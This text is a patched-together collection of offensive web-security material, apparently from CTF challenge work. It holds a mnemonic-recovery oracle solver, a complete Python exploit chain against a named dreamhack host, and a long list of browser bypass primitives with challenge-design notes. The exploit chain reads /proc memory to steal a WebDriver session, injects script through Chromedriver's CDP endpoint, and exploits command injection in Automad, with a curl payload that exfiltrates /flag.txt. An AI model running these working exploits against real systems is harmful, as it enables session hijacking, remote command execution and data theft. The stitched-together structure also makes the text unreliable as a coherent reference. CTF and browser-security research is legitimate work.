                    wait_floor=wait_floor,
                )
                results = collect_jobs(jobs)
                for probe, triggered in results.items():
                    bucket[probe.split(". ", 1)[1]] = triggered
                save_state(state_path, state)
                winner = [word for word, triggered in bucket.items() if not triggered]
                if not full_scan and len(winner) == 1:
                    positions[pos] = winner[0]
                    break
            winner = [word for word, triggered in bucket.items() if not triggered]
            if not full_scan and len(winner) == 1:
                positions[pos] = winner[0]
                break
            pending = [word for word in candidates if word not in bucket]
        winner = [word for word, triggered in bucket.items() if not triggered]
        if full_scan:
            positions[pos] = winner
            print(f"[+] position {pos}: {len(winner)} candidates")
        else:
            if len(winner) != 1:
                raise RuntimeError(f"Position {pos} unresolved: {winner}")
            positions[pos] = winner[0]
            print(f"[+] position {pos}: {positions[pos]}")
    return positions


def parse_args():
    parser = argparse.ArgumentParser(description="Blind DiceWallet text-fragment oracle solver")
    parser.add_argument("--bot-url", default=DEFAULT_BOT_URL, help="Base URL for the bot visit service")
    parser.add_argument("--flag-url", default=DEFAULT_FLAG_URL, help="URL for /flag submission")
    parser.add_argument("--oracle-url", default=DEFAULT_ORACLE_URL, help="Reachable attacker oracle page on your host/domain")
    parser.add_argument("--bind-host", default=DEFAULT_BIND_HOST, help="Local bind host for native listeners")
    parser.add_argument("--connect-host", help="Public or bridge host/IP the browser should connect to for listener endpoints")
    parser.add_argument("--concurrency", type=int, default=DEFAULT_CONCURRENCY, help="Concurrent visits")
    parser.add_argument("--batch-size", type=int, default=DEFAULT_BATCH_SIZE, help="Probes per visit")
    parser.add_argument("--wait-per-probe", type=float, default=DEFAULT_WAIT_PER_PROBE, help="Seconds to allow per probe")
    parser.add_argument("--wait-floor", type=float, default=DEFAULT_WAIT_FLOOR, help="Minimum seconds to wait per visit")
    parser.add_argument("--port-base", type=int, default=DEFAULT_PORT_BASE, help="Starting port range for temporary listeners")
    parser.add_argument("--state", type=Path, default=DEFAULT_STATE, help="Resume/checkpoint state path")
    parser.add_argument("--visit-retry", type=float, default=DEFAULT_VISIT_RETRY, help="Seconds to wait before retrying when the bot is at max active visits")
    parser.add_argument("--candidate-word", action="append", default=[], help="Restrict to these candidates instead of the full BIP39 list")
    parser.add_argument("--candidate-file", type=Path, help="Load candidate words from a newline-delimited file")
    parser.add_argument("--skip-discovery", action="store_true", help="Assume candidate-word values are already the phase-1 superset")
    parser.add_argument("--full-position-scan", action="store_true", help="Scan every candidate for every position and keep all non-triggered words")
    parser.add_argument("--no-flag", action="store_true", help="Do not submit the final mnemonic to /flag")
    return parser.parse_args()


def main():
    args = parse_args()
    connect_host = args.connect_host or parse.urlparse(args.oracle_url).hostname
    if not connect_host:
        raise RuntimeError("--connect-host is required when oracle-url has no host")
    state = load_state(args.state)
    state["meta"] = {
        "bot_url": args.bot_url,
        "oracle_url": args.oracle_url,
        "batch_size": args.batch_size,
        "concurrency": args.concurrency,
        "connect_host": connect_host,
    }
    save_state(args.state, state)

    if args.candidate_file:
        candidates = [line.strip() for line in args.candidate_file.read_text().splitlines() if line.strip()]
    elif args.candidate_word:
        candidates = args.candidate_word
    else:
        candidates = load_wordlist()

    if args.skip_discovery:
        superset = candidates
        print(f"[+] Using provided candidate superset ({len(superset)} words)")
    else:
        process_probe_set(
            probes=candidates,
            state_bucket=state["discovery"],
            state_path=args.state,
            state=state,
            bind_host=args.bind_host,
            connect_host=connect_host,
            concurrency=args.concurrency,
            batch_size=args.batch_size,
            oracle_url=args.oracle_url,
            bot_url=args.bot_url,
            port_base=args.port_base,
            visit_retry=args.visit_retry,
            wait_per_probe=args.wait_per_probe,
            wait_floor=args.wait_floor,
            label="discovery",
        )
        save_state(args.state, state)
        superset = [word for word in candidates if not state["discovery"][word]]
        print(f"[+] discovery superset: {len(superset)} words")
        print("    " + " ".join(sorted(superset)))

    positions = position_phase(
        candidates=superset,
        state=state,
        state_path=args.state,
        full_scan=args.full_position_scan,
        bind_host=args.bind_host,
        connect_host=connect_host,
        concurrency=args.concurrency,
        batch_size=args.batch_size,
        oracle_url=args.oracle_url,
        bot_url=args.bot_url,
        port_base=args.port_base + 2000,
        visit_retry=args.visit_retry,
        wait_per_probe=args.wait_per_probe,
        wait_floor=args.wait_floor,
    )
    save_state(args.state, state)

    if args.full_position_scan:
        for pos in range(1, 13):
            print(f"[+] position {pos} candidates: {' '.join(positions[pos])}")
        return

    mnemonic = " ".join(positions[index] for index in range(1, 13))
    print(f"[+] mnemonic: {mnemonic}")
    if not args.no_flag:
        result = post_json(args.flag_url, {"mnemonic": mnemonic})
        if "flag" not in result:
            raise RuntimeError(f"Unexpected /flag response: {result}")
        print(f"[+] flag: {result['flag']}")


if __name__ == "__main__":
    try:
        main()
    except Exception as exc:
        print(f"[!] {exc}", file=sys.stderr)
        sys.exit(1)

// user-panel/main.go
func profileHandler(w http.ResponseWriter, r *http.Request) {
    name := strings.TrimPrefix(r.URL.Path, "/profile/")
    fullPath := filepath.Join("/", name) // attacker controls the absolute path

    f, _ := os.Open(fullPath)
    offset, _ := strconv.ParseInt(r.URL.Query().Get("offset"), 0, 64)
    limit, _ := strconv.ParseInt(r.URL.Query().Get("limit"), 0, 64)

    buf := make([]byte, limit)
    f.ReadAt(buf, offset)                 // bounded random-access read into /proc/*
    fmt.Fprint(w, printable(buf))         // enough to recover text-ish secrets from process state
}

func reportHandler(w http.ResponseWriter, r *http.Request) {
    path := r.FormValue("path")
    finalURL := "http://localhost:80" + path
    exec.Command("python3", "bot.py", finalURL, adminPassword).Start()
    // attacker controls a URL string that is later visible in /proc/<pid>/cmdline
}

# user-panel/bot.py
# The bot authenticates to the internal admin panel first...
driver.get("http://admin-app/dashboard/login")
...
submit_btn.click()

# ...then visits attacker-controlled content in the same browser session.
driver.get(url)
time.sleep(60)  # long enough to scan /proc and reuse the existing session

Inference from the working payload against the bundled `automad/automad v2.x-dev` image:
`/_api/package-manager/remove` reaches a shell sink with attacker-controlled `package`,
so `foo; <cmd>;#` yields command execution once the CSRF token is supplied.

// Stage 1: JS read back from /proc/<botpid>/cmdline and executed in the bot page.
// It waits for a config post containing <sessionId>:<port>, then tells Chromedriver
// to inject stage 2 into every new document and navigates the browser to admin-app.
const body = JSON.stringify({
  cmd: 'Page.addScriptToEvaluateOnNewDocument',
  params: { source: 'onload=_=>eval(name)' }
});
fetch('http://localhost:' + port + '/session/' + sid + '/goog/cdp/execute', {
  method: 'POST',
  mode: 'no-cors',
  headers: { 'Content-Type': 'text/plain' },
  body
});
fetch('http://localhost:' + port + '/session/' + sid + '/url', {
  method: 'POST',
  mode: 'no-cors',
  headers: { 'Content-Type': 'text/plain' },
  body: '{"url":"http://admin-app/dashboard"}'
});

// Stage 2: JS now running in the authenticated Automad origin.
var csrf = document.querySelector('meta[name=csrf]').content;
var payload = "foo;u=flaguser;p=flagpass;rm -f /tmp/c;" +
  'curl -sS -c /tmp/c -d "username=$u&password=$p&nickname=Flaguser&bio=Flaguser" http://app/register >/dev/null 2>&1||true;' +
  'curl -sS -b /tmp/c -c /tmp/c -d "username=$u&password=$p" http://app/login >/dev/null;' +
  'h=$(od -An -tx1 -v /flag.txt|tr -d " \\n");' +
  'curl -sS -b /tmp/c -d "title=FLAGxxxx&content=$h" http://app/edit >/dev/null;#';
var req = '__csrf__=' + encodeURIComponent(csrf) + '&package=' + encodeURIComponent(payload);
var x = new XMLHttpRequest();
x.open('POST', '/_api/package-manager/remove', false);
x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
x.send(req);

#!/usr/bin/env python3
import json
import random
import re
import string
import time
from concurrent.futures import ThreadPoolExecutor, as_completed

import requests

BASE = "http://host1.dreamhack.games:18735"
SID_RE = re.compile(r'sessionId":"([0-9a-f]{32})')
PORT_RE = re.compile(r'chromedriver.*--port=(\d+)')
HEX_RE = re.compile(r"<p>([0-9a-f]{8,})</p>", re.I)


def rand(n=8):
    return "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(n))


s = requests.Session()


def get(path, sess=s):
    return sess.get(BASE + path, timeout=5)


def post(path, data, sess=s):
    return sess.post(BASE + path, data=data, timeout=5, allow_redirects=False)


u, p = rand(), rand()
post("/register", {"username": u, "password": p, "nickname": "Researcher", "bio": "Researcher"})
assert post("/login", {"username": u, "password": p}).status_code in (302, 303)

highest = 0
for i in range(1, 200):
    if get(f"/page/{i}").status_code == 200:
        highest = i

flag_title = "FLAG" + rand(4)
cmd_page, cfg_page, first_flag_page = highest + 1, highest + 2, highest + 3

shell = (
    "foo;u=flaguser;p=flagpass;rm -f /tmp/c;"
    'curl -sS -c /tmp/c -d "username=$u&password=$p&nickname=Flaguser&bio=Flaguser" http://app/register >/dev/null 2>&1||true;'
    'curl -sS -b /tmp/c -c /tmp/c -d "username=$u&password=$p" http://app/login >/dev/null;'
    'h=$(od -An -tx1 -v /flag.txt|tr -d " \\n");'
    f'curl -sS -b /tmp/c -d "title={flag_title}&content=$h" http://app/edit >/dev/null;#'
)
stage2 = (
    "var c=document.querySelector('meta[name=csrf]').content;"
    "var b='__csrf__='+encodeURIComponent(c)+'&package='+encodeURIComponent(" + json.dumps(shell) + ");"
    "var x=new XMLHttpRequest();x.open('POST','/_api/package-manager/remove',false);"
    "x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');x.send(b)"
)
post("/edit", {"title": "CMDBODY", "content": stage2.encode().hex()})

ns_last_pid = int(get("/profile/proc/sys/kernel/ns_last_pid%3f").text.strip())
bot_pid = ns_last_pid + 1

inner = (
    "(()=>{x=0;p=_=>fetch('/page/" + str(cfg_page) + "?'+Date.now()).then(r=>r.text()).then(a=>{"
    "m=/([0-9a-f]{32}):(\\d+)/.exec(a);if(!m||x)return;"
    "fetch('/page/" + str(cmd_page) + "').then(r=>r.text()).then(b=>{h=/<p>([0-9a-f]+)/.exec(b);if(!h||x)return;x=1;"
    "name=h[1].replace(/../g,a=>unescape('%'+a));s=m[1];t=m[2];"
    "b=JSON.stringify({cmd:'Page.addScriptToEvaluateOnNewDocument',params:{source:'onload=_=>eval(name)'}});"
    "H={'Content-Type':'text/plain'};"
    "fetch('http://localhost:'+t+'/session/'+s+'/goog/cdp/execute',{method:'POST',mode:'no-cors',headers:H,body:b})"
    ".then(_=>fetch('http://localhost:'+t+'/session/'+s+'/url',{method:'POST',mode:'no-cors',headers:H,body:'{\"url\":\"http://admin-app/dashboard\"}'}))"
    "})});setInterval(p,1000);p()})()"
)
wrapper = "<script>h='" + inner.encode().hex() + "';s='';for(i=0;i<h.length;i+=2)s+=String.fromCharCode(parseInt(h.substr(i,2),16));eval(s)</script>"
prefix = f"python3\x00bot.py\x00http://localhost:80/profile/proc/{bot_pid}/cmdline%3f"
path = f"/profile/proc/{bot_pid}/cmdline%3f{wrapper}?offset={len(prefix.encode())}&limit={len(wrapper.encode())}"
post("/api/report", {"path": path})
time.sleep(12)

maps = get(f"/profile/proc/{bot_pid}/maps%3f").text
targets = []
for line in maps.splitlines():
    parts = line.split()
    if len(parts) < 2 or "-" not in parts[0]:
        continue
    perms = parts[1]
    name = parts[-1] if len(parts) >= 6 else ""
    start, end = [int(x, 16) for x in parts[0].split("-")]
    if ("[heap]" in line and "rw-p" in perms) or ("rw-p" in perms and not name and end - start >= 0x100000):
        for off in range(start, end, 1500):
            targets.append((off, min(1500, end - off)))


def scan(target):
    off, limit = target
    text = get(f"/profile/proc/{bot_pid}/mem%3f?offset={off}&limit={limit}", requests.Session()).text
    m = SID_RE.search(text)
    return m.group(1) if m else None


sid = None
with ThreadPoolExecutor(max_workers=20) as ex:
    futures = [ex.submit(scan, t) for t in targets]
    for fut in as_completed(futures):
        sid = fut.result()
        if sid:
            break
assert sid

children = get(f"/profile/proc/{bot_pid}/task/{bot_pid}/children%3f").text.split()
port = None
for child in children:
    m = PORT_RE.search(get(f"/profile/proc/{child}/cmdline%3f").text)
    if m:
        port = m.group(1)
        break
assert port

post("/edit", {"title": f"{sid}:{port}", "content": f"{sid}:{port}"})

deadline = time.time() + 60
while time.time() < deadline:
    for i in range(first_flag_page, first_flag_page + 10):
        res = get(f"/page/{i}")
        if res.status_code != 200 or flag_title not in res.text:
            continue
        m = HEX_RE.search(res.text)
        if not m:
            continue
        flag = bytes.fromhex(m.group(1)).decode(errors="ignore").strip()
        if flag.startswith("DH{") and flag.endswith("}"):
            print(flag)
            raise SystemExit
    time.sleep(1)

raise SystemExit("flag not recovered")

• SAS CTF challenge page
• Chromium signed_exchange_handler.cc

• Original research

• Mozilla Bug 1740144
• WHATWG HTML issue #403
• NIST SP 800-38D: AES-GCM IV uniqueness

• A document on origin A includes a stylesheet from origin B.
• A nested stylesheet request such as url() or @import returns to origin B.
• Firefox 155 sends Sec-Fetch-Site: same-origin, deriving the value from the stylesheet principal.
• Chrome 152 sends same-site or cross-site, deriving the value from the document that initiated the stylesheet load.
• The official report is still public and open. Mozilla notes that the behavior may be specification-compliant, so describe it as a browser differential rather than a confirmed security vulnerability.

An authenticated bot opens attacker HTML on an untrusted sibling subdomain. The page links a player-uploaded stylesheet hosted by the privileged application. That stylesheet imports an admin-only stylesheet endpoint requiring both the bot's HttpOnly domain cookie and Sec-Fetch-Site: same-origin. Firefox satisfies both conditions. The response defines a CSS custom property containing the flag, and the untrusted page reads it with getComputedStyle().

• Firefox 155: cookie present, same-origin, flag readable.
• Chrome 152: cookie present, same-site, request rejected.
• Keep the admin session inside the bot so a direct HTTP client cannot solve the challenge by forging Sec-Fetch-Site.
• This fits a one-container white-box challenge using local subdomains.

The official proof of concept was reproduced unchanged. Firefox 155 compiled and executed XSLT stylesheets served with X-Content-Type-Options: nosniff and incorrect or absent Content-Type values, including text/plain, text/html, and application/octet-stream. Chrome 152 did not execute the XSLT navigation used by the proof of concept.

A low-privilege upload endpoint stores a player-controlled XSLT file as text/plain with nosniff. A player-controlled XML preview references that upload through <?xml-stylesheet?>. When an authenticated Firefox bot previews the XML, Firefox compiles the XSLT and script in its result runs in the application origin, allowing access to an admin-only flag endpoint.

• Block direct active uploads, SVG, HTML, and alternative upload-to-XSS routes.
• Validate the exact response headers and final origin inside the packaged challenge.

With Content-Security-Policy: form-action 'self', Firefox 155 blocks a direct cross-origin POST but allows a same-origin form submission whose response is a 307 redirect to a cross-origin endpoint. The browser forwards the POST body to the final endpoint. Chrome 152 blocks the redirected submission.

Use this as the policy-bypass layer of a longer chain: sensitive form fields or a bot-only action must be submitted to a player-influenced same-origin redirector. The application must supply a credible way to steer that form without exposing a one-request direct solve.

A strict Trusted Types policy rejects a literal event-handler attribute and direct setAttribute('onerror', ...) fails. Attacker XML accepted as TrustedHTML can nevertheless be transformed by XSLT whose xsl:element and xsl:attribute instructions construct a live event handler. The handler executed in both tested browsers.

This can model an application that validates structured XML before transforming it into a live document. Mozilla closed the report as invalid/no-security because the application deliberately trusted attacker XML through its policy. Treat this as an application composition mistake built from standards behavior, not a browser vulnerability.

A victim protected by Content-Security-Policy: frame-ancestors * loads in Firefox 155 when the top-level ancestor has an opaque/null origin produced by CSP sandboxing. Chrome 152 blocks the frame.

The primitive can support Firefox-only clickjacking across an otherwise rejected ancestor chain. Do not promote it to a full challenge until a bot can perform the required click predictably without arbitrary sleeps, coordinates tied to fonts, or other flaky UI assumptions.

For <math><mtext></p><mglyph id="m">TEST</mglyph></mtext></math>, Chrome creates a MathML element inside the MathML tree. Firefox creates an HTMLUnknownElement in the XHTML namespace and moves it outside the MathML tree.

Look for a sanitizer/parser differential where the sanitizer reasons about one namespace or tree position but the Firefox parser produces an active HTML sink. The parser discrepancy is reproducible, but it is not yet fair as a standalone CTF challenge because no deterministic exploit consequence has been established.

An HTTP/2 document first sends 103 Early Hints with Link: </redirect.js>; rel=preload; as=script. The same-origin URL redirects to another origin. The final page has script-src 'self' and consumes /redirect.js with a classic script element.

• Firefox 155.0.1 requested, consumed, and executed the redirected cross-origin script.
• Firefox 155.0.1 without the 103 response blocked the redirect.
• Chrome 152.0.7977.82 blocked the redirect.

This proves the effect comes from the Early Hints preload path rather than the final script load alone.

An authenticated admin review page advertises a same-origin attachment resolver in a 103 response. The resolver redirects to a player upload on an untrusted sibling origin. The final HTML contains the matching script element under script-src 'self'. Firefox reuses the hinted response without repeating the redirect CSP check, so the upload executes in the review page origin and reads the admin-only flag.

• Terminate HTTP/2 inside the one runtime container.
• Test direct cross-origin script, no-103, missing-authentication, and Chrome negative cases.
• The player should control an upload or attachment identifier, not an arbitrary response header.

An authenticated page starts <link rel="preload" as="fetch" href="/secret">, which sends its HttpOnly cookie. The page immediately calls fetch('/secret', {mode: 'no-cors', credentials: 'omit'}). The response is delayed and marked Cache-Control: no-store so the fetch races only with the in-flight preload, not the ordinary HTTP cache.

• Firefox 155.0.1 made one credentialed request and returned the authenticated body to the omit fetch.
• Chrome 152.0.7977.82 made a second anonymous request and returned the anonymous body.

A sanitized note may declare resource hints but cannot execute script. The authenticated viewer's diagnostic module fetches a note-selected same-origin resource with credentials: omit and persists the returned diagnostic record for the note owner. A player preloads the same resource first. Firefox gives the module the authenticated preload body, defeating the intended credential boundary.

• Keep the preload in flight deterministically and use no-store.
• Persist through an ordinary application audit feature, not an arbitrary attacker callback.
• Exclude active HTML, CSS leaks, meta refresh, ordinary cache confusion, and endpoints readable without the bot.

An attacker top-level page embeds a victim frame and an attacker-controlled drop frame as siblings. After selecting text in the cross-origin victim, a native drag into the sibling drop target lets Firefox expose that text through event.dataTransfer.getData("text/plain").

• Firefox 155.0.1 on headed Linux/Xvfb: the attacker drop handler received flag{cross_origin_drag_leak}.
• Chrome 152.0.7977.82 under the same layout and native pointer path: no attacker drop was delivered.
• Firefox synthetic WebDriver pointer actions did not start native selected-text dragging. Selecting with WebDriver and moving the actual X11 pointer succeeded.
• The issue is not a same-origin mistake: localhost:8080 framed 127.0.0.1:8081, so the victim and receiver had different origins.

Firefox's cross-frame drag protection historically detects a source frame dragged into one of its ancestors. The sibling case is different: walking the source's ancestor chain never reaches the target sibling, so the cross-domain flag can remain unset and the item-principal check is skipped for the drop.

An authenticated moderation workspace shows a protected, frameable evidence card beside an untrusted submission pane. The two panes are sibling frames. The review bot selects a visible evidence token and performs the product's normal drag-to-transfer gesture. A player's submission installs a drop handler and stores the leaked text/plain value through the application's ordinary persistence feature.

• Ship the source, both origin mappings, fixed viewport, and browser version.
• Let the frame layout and transfer-tray workflow reveal that drag data is the interesting boundary without naming the Firefox implementation check.
• Wait for explicit readiness from both panes before selecting; use several native pointer-motion steps and a bounded completion signal.
• Keep the evidence page frameable for a plausible product reason, but remove CORS, postMessage, CSS, same-origin embedding, and direct API shortcuts.
• Pin Firefox 155.0.1 in the final container and regression-test the Chrome negative path.

Expected difficulty: hard. The uncommon leap is that selected drag data carries a principal and Firefox treats sibling and ancestor frame transitions differently.

A source page selected and copied this element through the browser's normal Ctrl+C path:

<div data-council-secret="flag{clipboard_html_leak}">PUBLIC SUMMARY</div>

The browser then navigated to a page with a plain <input>, focused it, and received native Ctrl+Shift+V.

• Firefox 155.0.1 exposed both text/plain and text/html to the target page's paste handler. The HTML retained the secret attribute.
• Chrome 152.0.7977.82 exposed only text/plain; getData("text/html") returned an empty string.
• The test used headed browsers, Xvfb, the real X11 clipboard, and native keyboard events. It did not synthesize a ClipboardEvent, grant clipboard permissions, or change browser preferences.

An authenticated review page contains a copyable summary whose visible text is harmless, while an HTML data-* attribute carries an admin-only audit token. The bot copies that card, visits a player's migration template on an isolated UGC origin, and pastes without formatting into a plain title field. Player JavaScript listens for paste, reads clipboardData.getData("text/html"), extracts the token, and persists it through the UGC application's normal storage feature.

For hard white-box difficulty, disclose the bot's copy and paste workflow and the two origins, but do not name clipboard MIME types or the Firefox bug. Pair the browser primitive with an explicit, nontrivial storage path.

• The flag must be absent from the visible selection and text/plain.
• Direct access to the internal card must require the bot's HttpOnly admin session.
• Ordinary Clipboard API reads without the paste gesture must fail.
• The UGC page must not have another route to the internal origin.
• Regression-test Chrome 152 and Firefox 157 as negative controls.

An iframe used sandbox="allow-scripts allow-popups". Inside a genuine button-click handler, it dispatched a page-created MouseEvent("click", {ctrlKey: true}) on a target="_blank" link.

• Plain control: the popup inherited the sandbox, and reading its same-origin cookie threw SecurityError.
• Ctrl-modified synthetic event: the popup escaped the sandbox and read the same-origin cookie.
• No-click synthetic attempts remained blocked, so the native interaction is a real prerequisite.

An authenticated reviewer embeds player content with allow-scripts allow-popups and clicks its preview button. The clicked handler opens a same-origin render route containing the player's stored template. The application assumes every popup from the frame inherits the sandbox. The synthetic modifier path opens that template unsandboxed, giving its script the review origin and access to the admin-only flag endpoint.

Keep arbitrary top-level bot visits unavailable, block top navigation from the sandbox, and verify that an ordinary popup remains opaque.

With require-trusted-types-for 'script', the default Trusted Types policy returned parser options whose sanitizer removed img and script. The policy worked for an HTML document. The same innerHTML assignment on an XHTML-namespaced element in an XML document silently skipped sanitization. An img onerror survived; after document.adoptNode() moved it into the live HTML document, the handler executed.

The official fix now throws because Blink's sanitizer does not support XML documents.

A source-assisted XHTML template renderer parses a player wish card in an XML document, relying on a Trusted Types createParserOptions sanitizer, then adopts the resulting nodes into a live preview. Direct HTML parsing and direct event-handler assignment are negative controls. The XML path preserves an active event handler and produces same-origin script execution in the authenticated bot.

A genuine click opened a same-site, cross-origin review popup and consumed the opener's activation. An inactive opener then navigated the popup.

• Without clicking inside the popup, the request had no Sec-Fetch-User header.
• After a genuine click only inside the popup, the identical script-initiated navigation from the inactive opener carried Sec-Fetch-User: ?1.

The request also carried the opener as its referrer, confirming the opener initiated the navigation.

A privileged same-site endpoint accepts a named-window form action only when the authenticated request carries Sec-Fetch-User: ?1. The user-content opener has no activation, but the review popup does after the bot approves an ordinary prompt. Submitting into that activated target misattributes the gesture and performs a bot-only state change that exposes the flag through the player's own record.

Use the header as one layer in a deliberate challenge trust model, and keep direct CSRF, ordinary activated opener submissions, and arbitrary bot navigation as negative tests.

A cross-origin endpoint allowed CORS but did not expose its custom response header. An ordinary fetch could read the body but returned no value for that header. A service worker using Background Fetch read the same custom header through the completed record. This reproduced on a clean Chrome for Testing 152.0.7977.82 profile without experimental switches.

Give a player-controlled UGC origin a legitimate service-worker download workflow. An authenticated artifact endpoint returns a harmless CORS-readable body and puts the review token in a non-exposed custom header. Background Fetch crosses that header boundary. Keep direct fetch as a negative control and do not add an API that reflects response headers.

An integrity-less modulepreload populated Chrome's module map. A later SRI-pinned module at the same URL reused the cached entry and executed modified bytes. Without the preload, the same modified module was blocked. Both paths were tested on Chrome 152.0.7977.82.

Pin a fixed package or theme module to a trusted hash, let the player influence an earlier performance hint, and let the player control the package CDN response. Keep the script URL and integrity value fixed, and exclude ordinary DOM XSS and arbitrary script sources.

Chrome reused a module preloaded without a nonce or hash when a later parser-inserted module referenced the same URL under a hash-and-strict-dynamic policy. The no-preload control was blocked; the preload path executed in the document origin on Chrome 152.0.7977.82.

Allow sanitized content to retain narrowly scoped resource hints and module elements while the application relies on CSP to reject player code. The player controls the module URL. Remove classic-script, inline-handler, blob URL, and alternate-preload shortcuts.

From an HTTPS sibling host, a Speculation Rules prefetch reached the victim as an authenticated document navigation but was labeled as having no initiating site. Ordinary fetch, image, and link-prefetch controls were correctly labeled same-site and denied. This reproduced in both headed and headless Chrome 152.0.7977.82.

Use a same-site UGC host and an admin application whose state-changing GET relies on Fetch Metadata. The bot's SameSite cookie accompanies the speculative navigation, which performs a state change later visible through a legitimate player record. Exclude ordinary CSRF, open redirects, and broad cookie-domain mistakes.

An allowed iframe URL redirected to a policy-blocked cross-origin target. The resulting policy-violation event disclosed the final target origin instead of retaining the initial URL. The path remained redacted. The positive and blocked controls reproduced on Chrome 152.0.7977.82.

Make an authenticated private endpoint select among flag-derived redirect origins through a plausible tenant or region feature. A player page frames the allowed entry point and reads the disclosed origin. Use bounded chunks and ensure the application does not expose a simpler redirect oracle.

A first-party popup wrote a flag to OPFS and transferred its file handle to the same origin embedded under another top-level site. The embedded origin's own OPFS root returned NotFoundError before and after transfer, yet the transferred handle read the flag. The original report PoC also completed its read-and-overwrite sequence. This reproduced on clean profiles without experimental web-platform switches.

Use an offline document editor that opens a first-party export popup and hosts a player-authored plugin in a third-party frame. The application brokers a file handle to the plugin while assuming storage partitioning prevents access to the administrator's first-party draft. Require a real click for the popup and deny arbitrary top-level bot visits to the OPFS origin.

A non-CORS victim response was exactly 4,137 bytes. An ordinary opaque fetch exposed zero transfer, encoded, and decoded sizes through Resource Timing, while a completed Background Fetch registration reported exactly 4,137 downloaded bytes. The result repeated across clean profiles.

Let an authenticated export or search response vary its padded byte length according to a bounded private state or prefix match. A service worker learns the count through Background Fetch. Disable compression and caching, keep response latency constant, and rule out image, media, cache, and ordinary timing alternatives.

Five rapid iframe fragment navigations distinguished the actual post-redirect document from a wrong candidate. Correct candidates produced a delayed load after about 105–111 ms; wrong candidates completed in about 25–36 ms in the final clean run. Five positive and five negative trials separated without overlap.

Have an authenticated resolver redirect the bot to a private capability or tenant path. Player JavaScript tests bounded candidate paths through the timing differential. Average several trials and exclude direct redirect, history-length, policy-reporting, cache, and server-timing leaks.

An HTTPS page sent a same-origin keepalive POST to a delayed responder that returned a preserving redirect to an HTTP collector. Chrome blocked the redirect while the source document remained alive. After the document navigated away before response handling, the collector received the preserved POST body. Two complete runs produced the same control-versus-unload result.

Use a review UI that sends an autosave or audit body to a player-influenced same-origin resolver immediately before leaving the page. Its stored redirect targets an in-application HTTP collector. Ensure no readable HTTPS collector, open redirect, or non-keepalive route yields the same secret.

A response carrying Ad-Auction-Only: true failed through ordinary fetch(). The same protected HTML committed in a same-origin iframe and its parent read the nonce-bound body. A protected dedicated-worker main script also executed and returned its nonce-bound marker with postMessage. The result reproduced in headed and headless Chrome without feature switches.

This validates the response-loader differential itself; it does not depend on exposing the higher-level Protected Audience JavaScript API.

Use an advertising or campaign-review application that labels authenticated diagnostic exports as auction-only and incorrectly treats failed ordinary fetches as a confidentiality boundary. A narrowly constrained same-origin campaign preview can create an iframe or dedicated worker to relay the export. Keep the response nonce-bound and prevent arbitrary same-origin script, direct player navigation, and ordinary readable fetches.

A genuine click started navigator.clipboard.write() with an unresolved ClipboardItem Blob promise. A second origin became active and copied trusted-tab-copy. In the hidden attacker tab, a direct writeText() control failed with NotAllowedError, but resolving the already accepted promise succeeded and replaced the system clipboard with flag{delayed_background_clipboard_commit}.

The attacker reported hasFocus=false and visibility=hidden at resolution and commit. Read permission was granted only to the verifier origin for automated observation, so it did not relax the attacker's write boundary.

Give the admin bot a disclosed review flow: click a player-controlled copy helper, switch to a privileged console, copy a one-time approval value, and paste it into a server-observable field. The first click arms the delayed item, then server synchronization resolves it between the trusted copy and paste. Avoid a narrow wall-clock race and expose the bot sequence in source so the browser-lifecycle step is hard but fair.

Under default-src 'none'; script-src 'nonce-trusted', a nonce-bearing loader wrote JavaScript files to OPFS and created Blob URLs from them. A module-script element without the nonce was blocked and did not execute. Dynamic import() of the equivalent OPFS-backed Blob executed. This reproduced without browser switches or permissions.

Use an offline extension editor with one path that stores player-controlled module text in OPFS and a nonce-bearing preview loader that imports a selected saved artifact. Do not give the player direct trusted-script execution, the nonce, an allowed blob: source, or a service-worker shortcut; the import gadget must be a legitimate application feature.

A cross-origin JavaScript response loaded as video failed with media error code 4 and an empty message. An equivalent HTML response failed with code 4 and MEDIA_ELEMENT_ERROR: Format error, whose length was 33. No CORS permission or user interaction was present. This distinguishes ORB-allowed and ORB-blocked MIME classes.

Let an authenticated endpoint choose one of two fixed MIME classes for a bounded prefix or state match while status, body size, cache behavior, redirects, and latency remain identical. Pair the oracle with a separate state-setting or navigation stage and regression-test image, script, stylesheet, Resource Timing, and cache alternatives.

With Content-Security-Policy: default-src 'none', a control page opened no connection to a loopback listener. Adding one <link rel=preconnect> caused one or two TCP accepts across clean headed and headless profiles. The compact current-stable check confirms the CSP omission and connection primitive; the official report remains the evidence for the broader public-to-private Local Network Access matrix.

Make a bare transport connection meaningful, such as an internal one-shot service that advances state on accept or a TLS listener that records attacker-selected SNI. This primitive cannot read an HTTP response or send an application body, so combine it with another stage and exclude image, WebSocket, ordinary fetch, and DNS-rebinding shortcuts.

A player preview was cross-origin and nested inside an application-owned wrapper. Direct access to the privileged top document failed with SecurityError. After the preview sent the wrapper's documented completion message and the wrapper removed itself, ChromeDriver silently ran its next Execute Script command in the top-level document. The no-removal control remained inside PLAYER_PREVIEW. The fallback read ADMIN_SHELL flag{webdriver_cross_origin_chain} in three clean headless runs and one headed run.

Give players the review-bot source and control of only the nested cross-origin preview. The bot switches into that preview, waits for normal completion, then stores a body-text capture in the submitter's review result. Completion removes the application-owned wrapper; the discarded selected context makes ChromeDriver capture the privileged shell. Validate the message source and exclude direct top access, arbitrary top-level navigation, unrelated-frame message spoofing, and broken result authorization.

Under Content-Security-Policy: sandbox, Chrome requested an application-created cross-origin script with crossorigin="use-credentials". The request included session=flag-cookie, Origin: null, and Sec-Fetch-Site: cross-site, but the response did not execute. Firefox sent no request. Without the sandbox header, both browsers requested and executed the same script.

Use a package-preview feature where player input controls only a manifest entry URL and trusted code creates the credentialed script element. Give the bot a SameSite=None; Secure target cookie and make the target GET perform a one-time state change. Arbitrary player markup would make an image or form an easier substitute, so it must remain unavailable.

A local HTTPS origin was explicitly modeled as public while its advertised Alt-Svc endpoint remained loopback/private. Four no-header control navigations emitted zero UDP packets. Four equivalent Alt-Svc navigations emitted six QUIC Initial datagrams of 1,250 bytes to the private listener. Clean profiles were used for the two cases.

This proves pre-check private UDP contact, not arbitrary SSRF or a readable response. Use it only when an internal HTTP/3 listener has a source-visible one-shot effect or supplies a bounded reachability oracle. Exclude ordinary fetch, image, WebSocket, preconnect, and DNS-rebinding paths before relying on it.

